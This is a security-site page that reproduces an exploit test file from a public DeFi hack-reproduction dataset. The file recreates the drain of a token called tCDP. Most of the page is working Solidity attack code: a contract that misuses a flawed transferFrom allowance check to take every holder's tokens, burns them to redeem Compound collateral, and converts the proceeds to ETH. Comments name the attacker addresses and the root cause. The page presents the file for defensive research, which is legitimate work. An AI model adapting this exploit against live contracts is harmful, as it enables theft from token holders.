Public reproduction file
src/test/2025-04/tcdp_exp.sol
Public reproduction file for dataset entry tcdp.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2.02 ETH8// Attacker : 0xd49Cb0924F871bCFd78EA4187d9E6Bd943f85D989// Attack Contract : 0xC3D478F039125c536bC3c3eFBaEac7c1a15BcB1B10// Vulnerable Contract : 0xdA4c9Ee8373fd1095379a3Dd457A0c78968AaF0311// Attack Tx : https://etherscan.io/tx/0x9879031462b16dbf063377c4a8e5b043662576a9a3fb282c5a656953ad00684e12//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xdA4c9Ee8373fd1095379a3Dd457A0c78968AaF03#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/93218//19// Attack summary: The attacker self-approved tCDP, used a broken transferFrom allowance check to pull20// all outstanding tCDP from three unrelated holders, then burned the stolen tCDP to redeem Compound ETH21// collateral.22// Root cause: transferFrom subtracts from _allowed[msg.sender][to] after transferring from the supplied23// from address, instead of checking _allowed[from][msg.sender].25address constant ATTACKER = 0xd49cB0924F871BcFD78eA4187D9e6bd943F85D98;26address constant ROOT_ATTACK_CONTRACT = 0xc3D478F039125c536BC3c3efbAEAc7C1A15bcb1b;27address constant TCDP_TOKEN = 0xda4C9Ee8373Fd1095379a3Dd457A0c78968aAF03;28address constant HOLDER_ONE = 0x5380E20f0bEc4DCf8090Fb2dA0FdC4FE7a6bc023;29address constant HOLDER_TWO = 0x1D075f1F543bB09Df4530F44ed21CA50303A65B2;30address constant HOLDER_THREE = 0x27f735fEdC57fc1682104d40455d14FB93B21B0c;31address constant DAI_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F;32address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;33address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;35interface ITCDP {36 function approve(37 address spender,38 uint256 value39 ) external returns (bool);40 function transferFrom(41 address from,42 address to,43 uint256 value44 ) external returns (bool);45 function balanceOf(46 address owner47 ) external view returns (uint256);48 function totalSupply() external view returns (uint256);49 function burn(50 uint256 amount51 ) external;52 function isCompound() external view returns (bool);53}55contract ContractTest is BaseTestWithBalanceLog {56 receive() external payable {}58 function setUp() public {59 vm.createSelectFork("mainnet", 22_364_243);61 fundingToken = address(0);62 attacker = address(this);64 vm.label(ATTACKER, "Attacker EOA");65 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");66 vm.label(TCDP_TOKEN, "tCDP");67 vm.label(HOLDER_ONE, "tCDP Holder One");68 vm.label(HOLDER_TWO, "tCDP Holder Two");69 vm.label(HOLDER_THREE, "tCDP Holder Three");70 vm.label(DAI_TOKEN, "DAI");71 vm.label(WETH_TOKEN, "WETH");72 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");73 }75 function testExploit() public balanceLog {76 ITCDP tcdp = ITCDP(TCDP_TOKEN);78 assertTrue(tcdp.isCompound());79 assertEq(tcdp.totalSupply(), 2_112_941_787_257_735_085);80 assertEq(tcdp.balanceOf(HOLDER_ONE), 2_101_941_787_257_735_085);81 assertEq(tcdp.balanceOf(HOLDER_TWO), 10_000_000_000_000_000);82 assertEq(tcdp.balanceOf(HOLDER_THREE), 1_000_000_000_000_000);84 vm.deal(address(this), 0.1 ether);85 TCDPDrainAttack attack = new TCDPDrainAttack{value: 0.1 ether}(payable(address(this)));86 attack.run();88 assertEq(tcdp.balanceOf(HOLDER_ONE), 0);89 assertEq(tcdp.balanceOf(HOLDER_TWO), 0);90 assertEq(tcdp.balanceOf(HOLDER_THREE), 0);91 assertGt(address(this).balance, 2.0 ether);92 }93}95contract TCDPDrainAttack {96 address payable private immutable profitReceiver;98 receive() external payable {}100 constructor(101 address payable _profitReceiver102 ) payable {103 profitReceiver = _profitReceiver;104 }106 function run() external {107 address[] memory buyPath = new address[](2);108 buyPath[0] = WETH_TOKEN;109 buyPath[1] = DAI_TOKEN;111 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))112 .swapExactETHForTokensSupportingFeeOnTransferTokens{value: address(this).balance}(113 0, buyPath, address(this), block.timestamp114 );116 IERC20(DAI_TOKEN).approve(TCDP_TOKEN, type(uint256).max);117 ITCDP(TCDP_TOKEN).approve(address(this), type(uint256).max);119 _stealHolderBalance(HOLDER_ONE);120 _stealHolderBalance(HOLDER_TWO);121 _stealHolderBalance(HOLDER_THREE);123 uint256 stolenTcdp = ITCDP(TCDP_TOKEN).balanceOf(address(this));124 ITCDP(TCDP_TOKEN).burn(stolenTcdp);126 uint256 daiRemainder = IERC20(DAI_TOKEN).balanceOf(address(this));127 IERC20(DAI_TOKEN).approve(UNISWAP_V2_ROUTER, daiRemainder);129 address[] memory sellPath = new address[](2);130 sellPath[0] = DAI_TOKEN;131 sellPath[1] = WETH_TOKEN;132 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))133 .swapExactTokensForETHSupportingFeeOnTransferTokens(134 daiRemainder, 0, sellPath, profitReceiver, block.timestamp135 );137 (bool ok,) = profitReceiver.call{value: address(this).balance}("");138 require(ok, "profit transfer failed");139 }141 function _stealHolderBalance(142 address holder143 ) private {144 uint256 holderBalance = ITCDP(TCDP_TOKEN).balanceOf(holder);145 ITCDP(TCDP_TOKEN).transferFrom(holder, address(this), holderBalance);146 }147}Analysis
Dataset entry
Public Foundry test for “tcdp” (2025-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd49cb0924f871bcfd78ea4187d9e6bd943f85d98
- Attack Contract
0xc3d478f039125c536bc3c3efbaeac7c1a15bcb1b
- Vulnerable Contract
0xda4c9ee8373fd1095379a3dd457a0c78968aaf03
- Attack Tx
0x9879031462b16dbf063377c4a8e5b043662576a9a3fb282c5a656953ad00684e
File record
- Name
- tcdp
- Path
- src/test/2025-04/tcdp_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bd98f332265b53bacc950ba725e54b8b3ef11b81
- Language
- Solidity
- Size
- 148 lines
- Date
- 2025-04-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/tcdp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd98f332265b53bacc950ba725e54b8b3ef11b81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.